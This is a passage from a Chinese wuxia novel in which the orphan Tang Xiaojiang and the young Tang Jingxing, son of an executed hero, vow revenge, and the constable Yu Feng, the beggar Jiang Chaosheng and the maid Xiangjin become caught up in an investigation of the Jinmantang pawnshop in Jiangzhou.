天将破晓的时候,唐小江在山中密林里还练得不亦乐乎,该说不说,唐景行虽然身体弱,但武学上的天赋果然是出类拔萃,他所传授的要点清晰直接,唐小江多日不得其解的瓶颈被他三言两语轻轻化解,这一趟练下来,不但雨花笔法第一式能像模像样地施展出来,甚至连接下来的第二式,唐小江都觉得自己摸到了门道! “急把银河倾做雨!”唐小江最后演练了一遍,定心收招,心满意足地点点头,把黑金笔小心地收到怀里,欢喜雀跃着往山下跑去,“可不能误了早饭!回头大婶又要念叨了……吃完就去找景行,告诉他我学会第一式了!” 他一路撒着欢儿从山间奔出,冲出林子的时候,脚却像是被钉在了雪地上,目瞪口呆看着眼前的情景。 宁静祥和,被白雪覆盖的田野上,偌大的唐家庄院,此刻已经陷入了一片火海! “不!不不不!景行!”唐小江连滚带爬地在雪地里往前跑着,也不管道路,冲着着火的庄院飞奔而去,脚下踩空了,摔跤了,狼狈地爬起来继续跑,什么都不顾,一心只想着:起火了,景行在里面……他还生着病,自己一定要救他出来! 唐大侠,唐景行,都是极好极好的人,是自己的恩人,还有庄院里的其他人,做饭的大婶,赶车的大叔,收拾屋子做针线活还给自己缝新衣服的姐姐……他们对自己很好,都是好人,不该这样的,不应该的…… 一切都晚了,等唐小江狼狈地赶到后院的时候,正好看见那栋住着唐景行的房子被烧得不堪承受,轰隆一声,屋顶连着围墙一起向里塌了下去,把里面的一切都埋了起来。 大雪依然下着,纷纷扬扬,飘絮扯棉,天地和昨夜他离开的时候一样静谧。 不一样的是:从这一刻开始,唐小江又没有家了。 “今有!唐匪逆贼,刺杀朝廷命官,当场诛杀,特枭首示众……” 一个盛着人头的木笼被高高吊在十字街头的旗杆上,下面公告牌上贴着官府的安民告示,血红的一个×打在上面。 天寒地冻,街上行人匆匆,并没有多少人停下来发表什么意见,衙役也从一开始的趾高气扬变得无精打采,手里的铜锣敷衍了事地敲着。 唯一的观众大概就是对面巷子里蓬头垢面挤在一起取暖的一群叫花子,窃窃私语:“听说了吗?这就是公道堂的老大,被砍头了。” “那不是天神一般的人吗?怎么也会被官府抓到了?” “呷!再能耐能跟朝廷对着干吗?你想想前几天海龙帮邓家,还不是一样血流成河。” “这世道啊……难喽。” 人群后面,有个沉默不语的小乞儿,衣不蔽体,细心人却可以发现他的衣服是被烧得不成模样的,破口处还有焦黑的痕迹。 唐小江很饿,很渴,也很疲惫,胃里空荡荡的,只有一把火在烧,他眼睛死死地盯着旗杆上的木笼,虽然隔着这么远,他也觉得自己看清了那张脸。 熟悉的脸,救了自己还教自己功夫的,和蔼可亲的唐大侠,就这么双目圆睁地被放在一个小小的笼子里。 他头一次恨自己,怎么这么废物!这么没用!他若是有一身功夫,此刻就该冲上去,把唐大侠的头颅抢回来,好入土为安。 不,还有机会的,也许晚上等衙役走了没人看守…… 唐小江正在思索,一只大手从后面伸过来,重重地按住了他的肩膀,唐小江一惊,本能地回头看去。 一个老乞丐,花白头发遮着半张脸,憔悴得好像马上就要死了,定定地看着他。 唐小江不安地动动身子,想挪个地方,却被老乞丐的手压得动弹不得,他惊惧交加,顺着老乞丐的眼神看向自己身上—— 黑金笔的笔尖戳破了他的破棉袄,闪出了一丝寒光。 唐小江立刻把身子弯得跟个虾米一样遮掩,老乞丐顺着他的动作也倒向了他身上,看起来好像是体力不支寻求倚靠,但却用压得极低的声音在他耳边说了一句:“快走,圈套。” 仿佛是为了应和,乞丐堆里一个声音也尖细地响了起来:“不是说公道堂有七个人吗?死了个老大,他们连尸都不敢来收?” 乞丐们哄然大笑:“江湖英雄又不是不死之身,也有怕的咧。” 他们笑得快活,唐小江心里却隐隐觉得,这群人也许并不是在嘲笑,而是在提醒会出现的人。 果然,没过多久,一群铁甲士兵就黑着脸过来,横扫了十字路口附近的大街小巷,乞丐们一哄而散。 唐小江混在人群里,手腕被老乞丐死死地抓着不放,几乎是硬拖着他离开,他低垂着头,另一只手伸进怀里,执拗地握着黑金笔的笔管。 良久,走到身边都没其他人了,他才低声说了一句:“我要报仇。” 老乞丐伸出另一只手摸了摸他的头,声音里却透着不客气:“就你?” 唐小江猛地抬头,小声但急促地说:“我会拼命练武!我迟早要……” “那就等你练成了再去送死吧。”老乞丐淡淡地说着,松开手,佝偻着身子,咳嗽着,慢步走进了旁边的小巷。 漫天飞雪之下,唐小江孤零零地站在无人的街巷里,他仰起头,像是对天上的人,又像是对自己说:“我会回来的。” 京城,年节将至。 都说凤子龙孙尊贵无比,但大宁朝绵延三百年,宗室子弟无数,头上顶着个‘郡王’‘辅国将军’头衔,却毫无出息的人遍地都是,到了年下,宫里按例关出几百两银子来,全家上下就都指着这份钱粮活了。 位于苦井胡同的勤郡王府,这个节却过得喜气洋洋,上一代勤郡王在先帝夺嫡那时候站错了队,得了老大不是,一家人夹起尾巴闭门过活,勤郡王世子外出游历好几年,如今一朝回京,也不知怎的,竟然得了新帝的嘉奖,赏赐流水一般送入了郡王府,并且亲切地对勤郡王传达一个消息:“老了,可以让年轻人接班了。” 且不说郡王府上下齐心,紧锣密鼓地准备袭爵大典,马上要继任郡王的世子叶晟此刻却远离欢声笑语的内宅,一个人来到了后花园的僻静小院。 推开门,床上躺着一个双眼无神,满脸病容的八岁男童,他盯着蚊帐顶端,胸口微微起伏,脸颊枯瘦,听到有人进来,眼珠吃力地转了过去。 叶晟看了一眼桌上动都没有动的汤药和清粥,举步从容地走了过去,在床边坐下,也没吭声。 沉默了一会儿,还是男孩按捺不住,先开了口,声音嘶哑:“我爹……怎么样了?” “你爹的尸首我已经派人收敛了,他乃是谋逆罪名,不能大张旗鼓,只立了个无名坟,等以后有空了,我带你去江州祭拜。”叶晟耐心地说。 唐景行吃力地转过头看他,叶晟此时一身郡王世子装束,金冠锦衣,富贵逼人,和把他从火海里救出来那时的俊逸潇洒又有不同。 唯一一样的,是他脸上真诚的关心之情。 “叶叔叔。”唐景行喘息了两声,轻声说,“谢谢你救了我,你想让我做什么呢?” “你还小,安心养病为要,别的事不用考虑。”叶晟伸手摸了摸他细弱得可怜的手腕,“你是唐大哥的儿子,我护着你是应该的。” 他侧过脸,适当地露出些许脆弱之色:“唐大哥一死,公道堂土崩瓦解,而且我确定公道堂里有内贼,就是内贼出卖了大哥,才导致大哥含恨身死,我本来想留在江州调查个清楚,无奈……” 叶晟低头看看自己这一身锦衣华服,露出苦笑:“如今父命难违,我没办法,只能被这一身俗物裹挟。” “我可以。”唐景行挣扎着坐了起来,苍白小脸上泛起激动的红晕,“叶叔叔,我要回江州去!” 叶晟怜悯地看着他,轻声说:“景行,你我都是江湖中人,也不用拉扯那些客套的虚话,只问你一句,你是真的想为唐大哥报仇吗?” 唐景行吃力地喘着气,狠狠地点头。 叶景行头也不回,内力灌注指尖,信手一拂,身后一排大箱子应声而开,哐当几声,箱盖重重落地,里面堆着满满的金银锭子,一瞬间连这间屋子都照亮了。 唐景行疑惑不解地看着,他一开始还以为这些箱子是堆积的杂物,叶晟把这些金银放在他养病的屋子里做什么? “江州依然在通缉公道堂的余孽,你现在不能姓唐,我认你为义子,从此你就叫叶景行,现在给你两个选择,第一个——” 叶晟眼神里有恰到好处的温暖,指了指那几箱子金银:“我许你荣华富贵,你会活得跟京城里任何一个贵公子一样,走马章台,芙蓉暖帐,无忧无虑,快活一生。” 他的大手安慰地放在唐景行的小手上,轻轻地握住:“这样,我也算对得起唐大哥了。” 唐景行黑黝黝的眸子定定地看着他,抿了抿干裂的嘴唇,轻声问:“第二个选择呢?” 叶晟叹口气,从袖子里掏出一支黑金笔,笔杆转动间金沙浮现,隐隐还有一股血腥气。 “这是……你父亲临死前塞到我手里的。”叶晟语带惋惜,却把笔举到了唐景行的面前,“我想,他是要我把这支笔带给你。” 一边是数之不尽的金银财宝,一边是还带着斑斑血迹的判仙笔。 没有任何犹豫,唐景行伸手抓住了判仙笔,抬眼看着叶晟,从小小的胸腔里发出带着血气的许诺:“我选二。” 3. 第二章 江洲城的新鲜事 大宁朝承熙十八年,江州城。 三月三,春风拂柳,杏花插满头,江潮生躺在屋顶,闭着眼睛享受随风吹来的花香萦绕鼻端,就连饿得咕咕叫的肚子和身下硌得肋骨疼的瓦片都变得不那么难受了。 他懒洋洋地叹了口气,觉得有太阳晒的日子真美好啊,世间万物,只有太阳是不论贫富,所有人都能平等享受到的。 耳边传来或远或近的小买卖吆喝声,纵然这几年天时不正,中原大地四处传来哪里又遭了灾,或是收成不好的消息,在这个繁华热闹的水路重镇,老百姓的日子还勉强过得去。 “财鱼汤包!老田家财鱼汤包,一咬一口鲜!” “吴胖子牛肉豆丝,天下一绝!” “新鲜果子,才出窖——了嘿!” 本就热闹的街市上突然像开了锅一样越发沸腾起来,一个清厉的女声在众多唱歌一般的吆喝声中越众而出震慑四方:“官差拿贼!前面的都让开!” 江潮生眼睛倏然睁开,就地一滚,半个身子蛇一样垂在屋檐下,感兴趣地昂起头看向声音传来的方向。 首先是一个穿着粗布衣服的小矮子慌不择路地挤开人群,一路飞奔,不知道撞到了多少人,鸡飞狗跳之际,后面又传来女子的厉声断喝:“小贼!站住!” “啊呀,抓到了一定挨一顿打,好可怕呀。”江潮生喃喃自语,正要缩回身子再回到屋顶上睡觉,没想到身子探出屋檐太多,此时已经不听使唤,‘哎哟哎哟’地叫着,直直地冲着小巷子掉了下去。 无巧不巧,他坠下的时候,正好是小贼经过,电石火光之间两人恰好撞上,江潮生固然摔得七荤八素,捂着屁股叫唤,小贼更是被当头泰山压顶,眼冒金星地瘫在地上起不来。 江潮生夸张地叫着,眼前突然闪过一道黑影,穿着捕快统一的红裤皂靴,站在那里的气势却威风凛凛犹如天神下凡,粗鲁地命令:“聒噪,闭嘴!” 喻枫一边喝止,一边伸手去抓瘫软在地的小贼,没想到看似无力抵抗的小贼,突然凶相毕露,嗤啦一声,袖子寸寸撕裂,小臂上的铁护手竟然带着无数尖刺,闪着不详的寒光,朝着喻枫伸来的手臂狠狠挥去。 这一下若是击中,必定是血肉横飞,不说周围看热闹的街坊倒吸了一口气,近在咫尺的江潮生吓得紧闭双眼,毫无章法地蹬起了腿:“救命!” “闭嘴!”喻枫被他叫的耳朵疼,气不打一处来,连鞘握住单刀,灵活刁钻地对准小贼的肘部全力一击,清脆的骨折声响起,小贼怪叫一声,整个身子委顿下去。 眼看小贼再无反抗之力,喻枫才冷笑一声,用鞘尖伸到他衣服里左右一分,挑出一个麻布荷包,打开一看,里面装着碎银子和铜钱,还有一张药方。喻枫嫌恶地呸了一口:“专门在回春堂门口偷人家的救命钱,无耻东西,进牢里蹲着去吧!” 说着,她凤眸一眯,目光不善地看向在一边抱头蹲着的江潮生:“你怎么在这里?” 江潮生挤出一个讨好的笑岔开话题:“嘿嘿,喻捕头果然英姿勃发,慧眼如炬,恪尽职守,奋勇擒贼……” “哼!职责所在,用不着你拍马屁。”喻枫脸色稍缓,这时候后面两个衙役气喘吁吁地赶到,她一挥手,命令下属把抓到的贼带回府衙。 江潮生也想偷偷溜走,却被喻枫叫住,皱着眉上下打量了一下:“你最近……还老实吧?” “喻捕头!您这是哪里的话!”江潮生无辜地瞪大眼,“小人一向是江州城里安分守法的良民哪!” 喻枫冷笑一声:“游手好闲,以武犯禁,说的就是你们这种人!背地里干的什么见不得人的勾当以为我不知道?最近流民众多,市面不宁,你最好给我把皮子拎紧一点!” 她说得郑重其事,江潮生却嬉皮笑脸:“喻捕头说笑了,我常听茶馆的先生说,如今海清河晏,太平盛世,哪来的什么不宁?您这话可别给纪大人听到。” 喻枫瞪着他,隔空威胁地用手指点了一点,转身刚要走,又回头不耐烦地撂下一句:“刚才那小贼险些撞翻巷子口拉二胡的瞎老头,你去老田家拿两个包子给他,挂我账上。” “两个怎么够啊?喻捕头你别看瞎老头瘦巴巴的,他很能吃哩!您好人做到底,挂八个怎么样?四个也行啊!”江潮生踮着脚尖,一直看着喻枫的身形消失在人群当中,才失望地叹了口气:“还以为能骗顿饱呢。” 瞎老头,是真的瞎,眼窝凹陷,眼球都被摘了去,脸上沟壑纵横,身体瘦且干巴,老得跟手里的二胡一样,好像随时都会分崩离析。 好像自打江潮生记事起,这个街口就有一个盘腿而坐,咿咿呀呀拉着二胡的老头,风雨无阻,十几年不变。 江潮生用干荷叶托着两个热气腾腾的肉包子,大摇大摆地走到瞎老头跟前,炫耀地往前一递:“是我说好话,喻头儿才请你吃的,一人一个。” 瞎老头眼瞎心不瞎,单手一抓,灵敏地把两个包子都抓在手里,沉默地并在一起咬了一口,摆明是一个都不给江潮生留。 “嘿,你这老头!”江潮生诈骗失败,肚子又饿,索性蹲了下来哀叹,“喻头儿如今也不好骗了,她刚来的时候,还会掏银子赈济你这样的穷人。” 身边钉鞋的皮匠闻言爆笑:“如今这世道,给钱不是救人,是害人。” 这一句,激起了周围人的共情,七嘴八舌地说:“可不是!就刚才那小贼,若是在从前,早有人出来清理门户了!” 小偷这行当,古来有之,江州身处九省通衢要道,不管是本土的贼,还是外来的贼,见了这繁华盛景,都免不了要动点心思,所以早年江州城出了个摘星门,约法三章:不偷贫,不偷贱,不偷救命钱。 像摘星门这样,江湖各行各业自发组织的势力还有不少,有漕运的海龙帮,有走镖的十八局,甚至是赌场青楼等等,原先各自为政,乌烟瘴气,一旦有了联盟,立下行规,竟意外地有了些许循规蹈矩的生机。 而这样的新气象后面,立着一座不可逾越的大山:公道堂。 此时再提起公道堂已经是恍如隔世,自然那些规矩也烟消云散,江湖重新变得一团混乱,而混乱的,又何止是江湖。 别的不说,就说城外,烟花三月,本来该是居民赏花拂柳踏青的好时候,现在却挤满了流民的窝棚,随处可见衣不蔽体的小孩子坐在路边,饿得只比死人多了口气。 “我可听说,北郊落凤庄的齐大户家,前些日子遭了匪了。”对面酒馆的棚子下,一个客人小声说。 “还用你听说,官府都贴出告示悬赏线索了。”皮匠抢白了一句,指着前面不远处的十字路口,“现在还贴着呢,哎,小江,你不是最擅走东摸西盘海底?怎么不去发这个财?” 江潮生摸着饿瘪的肚子发呆,不防话题兜到自己,赶紧做出一脸苦相:“皮叔你别害我呀!齐大户可是盐商,家里养着一群保镖,他都能被人灭了门,凶手是我招惹得起的吗?” “啊呀,这世道!”于是众人又开始摇头叹息,“盗匪横行,大户人家也不安全哪。” “说起灭门,你们还记不记得十几年前,邓家也是沾了盐。”有人小声说,“还以为……” “嘘,官府不是说了嘛,邓家恶贯满盈……” 江潮生正竖着耳朵听得出神,突然额角被捣了一下,他猝不及防,一屁股坐在地上,哎哟一声:“谁!谁打我?瞎啊!?” 原来是瞎老头吃完了包子,手往都脏污到看不出原色的衣服上蹭,不小心捣了他一下,面对江潮生的暴跳如雷,瞎老头仿佛没听见,自顾自地操起了弦,凄婉悠长的音调一时盖过了巷子口的小声议论。 江潮生讨了个没趣,又不能跟真瞎子计较,勒了勒裤腰带,气鼓鼓地转身离去。 这里的众人被二胡声一搅合,也忘记了刚才的议论,转而谈论起来:“说个稀罕事,鸿宾楼这个月已经是第三次刷房子了。听说是京里要来一位贵客,人还没到,打前站的已经来了好几拨,横挑鼻子竖挑眼,每次来了都不满意,得重新换家具摆设。” “真的?那肖老板不是愁得头都秃了?” 最先提起的人一脸得意:“他?且高兴着呢,折腾归折腾,抬着沉甸甸现银子来的,如今这世道,还有什么比得上银子亲?” 就在大街小巷纷纷议论这出手豪阔又挑剔的京中贵客之时,江州最大的当铺金满堂,也迎来了一位娇客。 李掌柜在金满堂干了二十年,练就一双洞察力极强的利眼,但一时之间,竟也看不出来人的身份。 金满堂开张多年,不是没有年轻貌美的姑娘光顾,但这位姑娘尤为不同,她笑容温婉,眉眼柔顺,纤腰犹如江边细柳一般婀娜,整个人又清新像是枝头刚开的一支杏花。 她发髻上插着一柄白玉花钗,温润如凝脂,全无瑕疵,手腕上松松地挂着一串指头大的明珠,即使在白天也散发着微弱的辉光,一看就不是凡品。 李掌柜在自己还没意识到的时候,已经从柜台里走了出来,弯腰施礼:“小姐,请内室看茶。” 此时他心里已经下定决心,不管这位娇客今天拿出来的是什么东西,他都要在权限范围内给她一个最高的价钱。 娇客身后的大眼睛小丫鬟噗嗤一笑,又急忙捂嘴,活泼可爱的样子让人不忍责怪,娇客却板起了脸:“主子面前,你也这么没规矩不成?” 小丫鬟脸色顿变,直直地跪了下去,娇客这才转向李掌柜,和颜悦色地要求:“掌柜的,我确实要去内室看一看,劳烦你带路了。” 李掌柜懵了,但还是乖乖听从,走在前面掀起了门帘。 金满堂能坐到江州第一的当铺,自然不是靠外面高柜台日常收几件平民百姓家的棉衣银钗,富贵之家也有周转不来的时候,挪几箱子用不着的大东西来换现钱是常事,自然没有让贵客在外面跟朝奉仰脖子争价钱的道理,所以内里几间精舍,布置得份外用心,连奉上的茶也是今年头一茬新摘的上好贡茶,用来待客完全不失礼数。 只是今天在这位貌美娇客面前,统统成了不入流,她皱着眉毛,从第一间看到最后一间,末了叹息一声:“这样的地方……”,说着又闻了闻李掌柜亲手端来的茶盏,碰都不碰,嫌弃道:“这云雾茶竟不是峰顶的,全沾了山脚的土腥气,配上井水,越发入不得口了。” 她挥挥手,以主人家的姿态指点:“这间屋子倒还罢了,只用铺上波斯毛毯,字画插屏一律不要,博古架上这些入不得眼的玩意儿也都撤下,若是有不俗的香花,摆上两盆倒是不妨。” 李掌柜勉强从美色当中挣扎出来,脸色微僵:“小姐,我们金满堂开门做生意,可不是过家家闹着玩的。” 他突然后悔了,莫非是哪家娇生惯养的小姐看多了话本子,出来见世面,拿着他做耍? “小姐,你是来典当东西的不是?”他索性直接挑明,没想到美人儿嫣然一笑,竟一口否认了:“当然不是。” 没等李掌柜这口气缓过来,她又一笑:“我们家从来只有买东西,还没有典当东西的呢。” 李掌柜眼前一黑,幸亏下一刻,眼前突兀出现了一叠银票,他颤抖地伸手接过来,揉揉眼,没错的,全都是山西大同晋宝票号出的全国通兑硬货,面额一千,手指稍微一拈,心里便有了数,足足的两万两。 “这是?”他立刻满脸堆笑,刚直起的腰又弯了下去,“小姐是要淘些什么稀奇的东西么?” 这也常见,天底下没有比当铺的仓库里稀奇东西更多的地方了,尤其是金满堂这种几十年老字号,常有些富贵人家的子弟为了寻好东西,来这里兜一圈,还能拿个比市面低一等的价格,惠而不费。 “你倒是聪明。”娇客夸了一句,盈盈而笑,“这是定金,就不知道掌柜的能不能让我如愿了。” 一说到本职工作,李掌柜的腰又挺直了,自信满满地说:“金满堂若是不能让小姐满意,江州地面上就找不到第二家了,不是我夸口,就是小姐手腕上带的这串明珠,我们仓库里也能找到差不多的。” “这串?”她抬起手腕,葱根也似的手指轻轻拨弄,手腕莹白如玉,再配上明珠的淡淡辉光,美得简直让人屏住呼吸。 可从她嘴里说出来的话却让李掌柜瞬间清醒过来:“这不过是过年的时候看我服侍主子精心,老太太随手赏下来的,难得的体面,却算不上什么好东西。” 李掌柜如遭雷击,他百般逢迎的竟然不是个小姐,而是个丫鬟不成?可是这位年轻姑娘貌美如花,眼高于顶,随手就能掏出两万两银票,什么样的主子才能配得上这样的丫鬟? “这可怎么办?”娇客秀眉微蹙,“金满堂名声在外,我们公子来江州一趟,想着要寻一些稀罕东西回京给老太太祝寿,若是都是这种大路货,可实在拿不出手,平白让人笑话。” 李掌柜简直气血翻涌,恨不得抓着美人儿的肩膀晃一晃:你手上这串明珠价值千金,在金满堂里也是要单独入册,出手阔气的老主顾来了才能一观的好东西,怎么就成了拿不出手的货? 但既然事关金满堂的名声,李掌柜狠下一条心,拍胸脯保证:“姑娘放心,我们金满堂数十年的老底子,只要您划出道儿来,什么样的货我们都能找到。” “嗯,只要我家公子满意,价钱好说。”娇客又从袖中掏出一张洒花信笺递过来,“这些只是给你打个样儿,照着大差不离,若是找到了,打发人去鸿宾楼禀告一声,我叫香堇,报我的名字就得。” 人如其名,这位香堇姑娘留下一缕香风,转身离去,轻飘飘地撂下嘱咐:“记得房子按我说的布置,不然公子恼了,你这生意也甭做了。” 李掌柜揣着银票和清单,晕晕乎乎陪着她出来的时候,小丫鬟还跪在当地,委屈巴巴地偷偷抬眼看去,香堇走过去,伸出葱指在她额头轻轻一戳,嗔怪道:“走了。” 小丫鬟如遇大赦,赶紧起来,揉着膝盖,在香堇身后娇俏可爱地吐着舌头做了个鬼脸,乖乖地跟着出去了,李掌柜一路恭送,目视两人上了门口的一辆雕花马车。 车夫扬鞭,马车缓缓离去,李掌柜脸上谄媚逢迎的笑容也渐渐消失,他撩起衣襟,疾步穿过大堂,走入内室,径直走到走廊最后的死角。 不用他动手,厚实的松木墙壁应声而开,露出一道人影,李掌柜躬身递上银票和清单,小声问:“东家,您都听见了?” “嗯。”被叫做东家的中年男人面色黝黑,身穿蓝布长衫,洗的发白,看起来像个平民百姓,浑然不似开了十几家分店的当铺老板。 他目光锐利如鹰,忽视了银票,只拿起那张清单扫了一眼,花笺上带着香气,萦绕在鼻端,久久不散。 “是金凤瑞麟香的味道,上等贡品。”李掌柜小声解释,“口音也是京里来的,不似有假,这笔生意您看?” 东家沉吟了一会儿,终于点头:“去,试探一下。” 江潮生只觉得自己今天出门是没看黄历,处处碰壁,不但在屋顶晒太阳都会掉下来摔得屁股痛,中午时分他溜到鼎香楼想找好兄弟张发财弄点吃的,不巧被胖厨子发现,给赶了出来。 陆厨子是鼎香楼重金外请的大厨,脾气大,身板壮,瞪着牛眼一手挥舞巨大锅铲呼呼生风:“饭点儿还没到,客人还没上桌呢,要饭的也不看看时候,滚滚滚” 江潮生抱头鼠窜,可怜巴巴地躲在后门的阴影里,听着后厨传来煎炒烹炸的声音,默默地咽口水。 “唉,我本来就是丐帮弟子嘛,要饭是本职工作。”他举目看了一眼,墙角下还蹲着几个蓬头垢面的灾民,不禁发愁,“如今当叫花子也有竞争了啊!” 张发财借着房门的遮掩,偷偷递给他一个粗面窝窝头,小声抱怨:“别提了,现在满大街都是要饭的,我这种正宗丐帮弟子都得进酒楼打杂。” 他突然想起了什么,小眼睛闪着希冀的光:“哥,你不是一身武功吗?现在江州城乱成这样,咱不如也搞个什么帮什么派,你当龙头老大,我给你当副帮主,再叫几个小弟,把住一条街,收些孝敬钱……” 江潮生差点被噎住,看着他憧憬得一脸痴笑,抬手拍了一下:“不行!我将来是要做大侠的,我师父教导过,不能鱼肉百姓。” “呃,这也不算鱼肉啊,有人来找茬,咱是不是还能保护他们呢?”张发财捂着额头,用眼神示意。 江潮生顺着他的视线望去,街上大摇大摆走来了几个大汉,歪戴帽子敞着衣襟,横七竖八地走路,一看就很不好惹。 他一把捂住了张发财的嘴,用力把他往后门里塞:“你可少说点吧。” 说完,他转身就想溜,却听到街心一声夸张的惊呼,随即是猥琐的哄堂大笑:“哎呀,你压到我了,赔钱!” 明晃晃的碰瓷讹诈,周围的路人不但不敢出面阻止,反而赶紧低下头,匆匆小步离开。 为首的大汉嚷嚷着,伸出手要去掀车门帘子,车夫慌忙抬手阻止,却被他揪住胸口,一把就扯了下来,直接丢在地上,身后跟着的大汉一拥而上拳打脚踢。 在车夫的痛呼声中,大汉色眯眯地再度伸手:“小姑娘,别躲着了,下来跟我好好说说,你打算怎么赔……” 帘子掀开,露出香堇和身后的小丫鬟,她沉着脸,扬手扔过一锭官银:“滚!” 被银子当头砸了一下,大汉却看都没看,眼睛都直了,盯着香堇的脸,露出惊艳又恶心的笑容:“姑娘大气!这下我们更要好好攀个交情了。” “你敢!”香堇怒喝一声,小丫鬟早就吓得脸色煞白,不停地往后缩去,后背碰上车厢才醒悟过来,带着哭腔大声喊:“大胆!你竟然敢当街调戏官眷!” “官眷?当官的当街压死人,不赔偿就想走?”大汉夸张地喊着,不顾香堇的怒喝,伸手一把握住了她的手腕,香堇失声尖叫了起来。 就在此时,不知从哪里扔过来一个鞭炮,正好丢在倒在车轮前装死的人肚子上,噼啪一声巨响,吓得他嗖地就站了起来,呀呀怪叫着四下乱蹦。 “官差来了!”有人憋粗了嗓子喊了一声,为首的大汉脸色大变,急忙松开香堇,在车上四面观望,突然指着某处喊了一声:“是你小子!?” 他这一指,墙角晒太阳的几个叫花子都连滚带爬地离开,把江潮生孤零零地暴露出来。 眼看避无可避,江潮生只能装傻地嘿嘿一笑:“朱老大,一向可好啊?” “好你个江潮生!”被鞭炮炸了的那个倒霉蛋先急了,“上次跟虎头帮讲数,给了你一两安家银子,要上人的时候你跑了,还没找你算账呢,今天又来坏大爷的好事!” 几个人骂骂咧咧挥着拳头就冲了上去,江潮生熟练地矮下身子,捂着头在众人的围堵中躲避着,一边还扯着嗓子喊:“不是我,打死人了,哎哟,哎哟!” 站在车上的大汉脸色阴沉,不知道自己这场戏还要不要唱下去,突然目光一凝,不甘心地吼道:“扎手,扯呼!” 江潮生被雨点般落下的拳头打得晕晕乎乎,正在暗自后悔不该乱管闲事,突然云散雨收,轰地一声,所有人都跑了。 他懵懵地抬起头来,映入眼帘的是喻枫暗含恼怒的俏脸,冷冰冰地问:“江潮生,怎么又是你?” 在江潮生赌咒发誓,还有当事人的有力证词之下,喻枫终于相信他是见义勇为,而并非街头互殴,从而免去了一场牢狱之灾。 香堇真诚地感谢了见义勇为的江潮生,拿了一锭银子要塞给他,江潮生碍于喻枫的目光警告,只能摆着手拒绝:“我也没做什么,不敢愧领哩。” 眼看着香堇的马车远去,江潮生觉得身上的伤更痛了,急需找个屋顶,趁着阳光正好再睡一觉,偏偏喻枫叫住了他:“我让你走了吗?” 喻枫抱着单刀,用下巴指了指鸿宾楼的方向:“知道她是谁吗?” “不知道啊?”江潮生一脸莫名其妙。 “不知道就对了!江州城鱼龙混杂,你这种小虾米少往前凑,怎么死的都不知道!” 说完喻枫冷哼一声,利落转身离去,江潮生难受地蹲下身,抱着头呻吟:“今天果然没看黄历啊!” 香堇在进入鸿宾楼后院的时候,已经收起了娇美温软的笑容,脸色凝重,甚至有些严肃古板,她踏入二院门口之前头也不回地叮嘱:“把着门,别叫人进来。” 跟着她的大眼睛小丫鬟此刻也不复活泼可爱的模样,吊着眼睛冷冷一笑,从袖中抽出两柄雪亮的短剑,握在手中,颇有些一夫当关万夫莫摧的架势。 进入内院,香堇不由自主放轻了脚步,院子当中摆了一架摇椅,雪白的貂裘裹着一人,羽睫紧闭,正在沉睡,三月午后的阳光已经有些炽烈,照在他雪白俊秀的脸上,给他额外增加了一抹柔和的光辉。 整个人仿若琉璃所制,精致而脆弱,说话大声点都会破碎的美貌。 香堇不敢吭声,一动不动地站在门口,呼吸都放到最轻,但还是惊醒了他,浓密的睫毛微动,露出一双迷蒙的眸子,如梦如幻,眼眸深处却闪着微不可查的锐利寒光。 “是香堇啊。”他轻声说。 香堇急忙上前,扶着他坐了起来:“公子,怎么在当风的地方睡着了?三月的天,春风刺骨,不是闹着玩的。” 叶景行笑着摇摇头:“我许久没有晒到江州的阳光,一时忍不住。” 似是怕香堇继续唠叨,他转移了话题:“你去金满堂,查得如何了?” 提到正事,香堇的脸色更见严肃:“十成里五成把握,金满堂是个江湖道销赃的黑店!现在只等他们拿出在失单上挂了号的宝物,那就是铁打的证据了。” “证据啊?”叶景行姿态优雅地打了个哈欠,漫不经心地说,“证据是给六扇门那帮鹰爪孙看的,我做事,用不着。” 香堇赔笑:“公子说得当然对,可这次到底是判仙笔重现于世的好头彩,总该讨个名正言顺才是。” “嗯。”叶景行站起身来,他身形高挑清瘦,贵气中带着一股弱不胜衣的风流仪态,说出来的话却暗含森冷的杀意,“也罢,就让我看看,金满堂的仓库里到底藏着什么好东西。” 暮色渐起,倦鸟归巢,喻枫从衙门归家,一路经过江洲城最繁华的所在,看着万花楼一如既往的热闹喧哗,锦灯高悬,如天落星雨,耳边丝竹声嬉笑声不绝于耳,再想想今天巡街看到的饿得面带菜色的流民,她不由得深深叹了口气。 突然,喻枫眼睛一眯,刚才有个一晃而过上了楼的人影,怎么看着像江潮生? 她下意识举步要进楼,看见门口龟公谄媚地笑着迎上来,又觉得好没意思,说到底,江潮生只要不作奸犯科,和她又有什么关系呢? 想罢,她转身离开。 喻枫孤身一人,本来纪知府安排她在府衙后面居住,被她婉言谢绝,声称自己喜爱清净,只在西城坊间金鱼巷寻了一间小院子住下,雇个婆子白日里洗衣洒扫,这时候回去,家里是空无一人的。 她摘下挂锁,推门而入,下一瞬突然腰间单刀出鞘,连砍三刀,狭窄屋内顿时布满了雪亮刀光,如天罗地网,偏偏屋内之人身法灵活,闪展腾挪之下,竟是连一片衣角都没沾到。 “枫儿,是我!”黑暗中传来熟悉的声音,和熟悉的香气,喻枫收刀入鞘,闭起眼睛深深地吸了一口:“好香啊,是排骨藕汤!” 桌上的油灯被点亮,一个穿着蓝布长衫的中年男子微笑着站在桌边,指了指桌上的四菜一汤:“这么晚才回来?菜都凉了。” 喻枫斜睨着他,冷哼一声:“不是早说了吗,我这里你少来!被人知道我是金满堂东家的女儿,以后我还怎么当捕头?他们一定会觉得我是靠着钱才升职的。” “爹想你啦。”中年男子低声说,眼中掠过一抹自己也未察觉的黯然,“下午路过这里,突然心血来潮,就想给你做一顿饭。” 喻枫也不是真的生气,闻言噗嗤一笑,难得露出了小儿女的娇态,迫不及待地拿起扣在菜碟上的大碗,眼睛亮亮地小声惊呼:“藕粉圆子!腊肉炒菜薹!烩三鲜!拆鱼头!爹,你今天是真闲得慌了!” 说完她端碗从钵子里盛了饭,坐下大口大口地吃起来。 喻枫忙了一天,饿坏了,话都不说,闷头扒了一碗饭,喻东升也一言未发,只是坐在旁边,慈爱地看着女儿吃得香甜。 “爹。”喻枫吃到第二碗,才腾出嘴来说话,含糊地说,“我今天巡街,看到流民又多了些。” 喻东升颔首:“我最近正在谈一笔生意,若是成了,城外的粥棚又可以多上几处。” “是今天去金满堂的香车美人?”喻枫目光灼灼地看着他,“什么来头?” 喻东升眉头微皱,却不欲多说,含糊了过去:“不过是有钱没处花的贵胄子弟。” 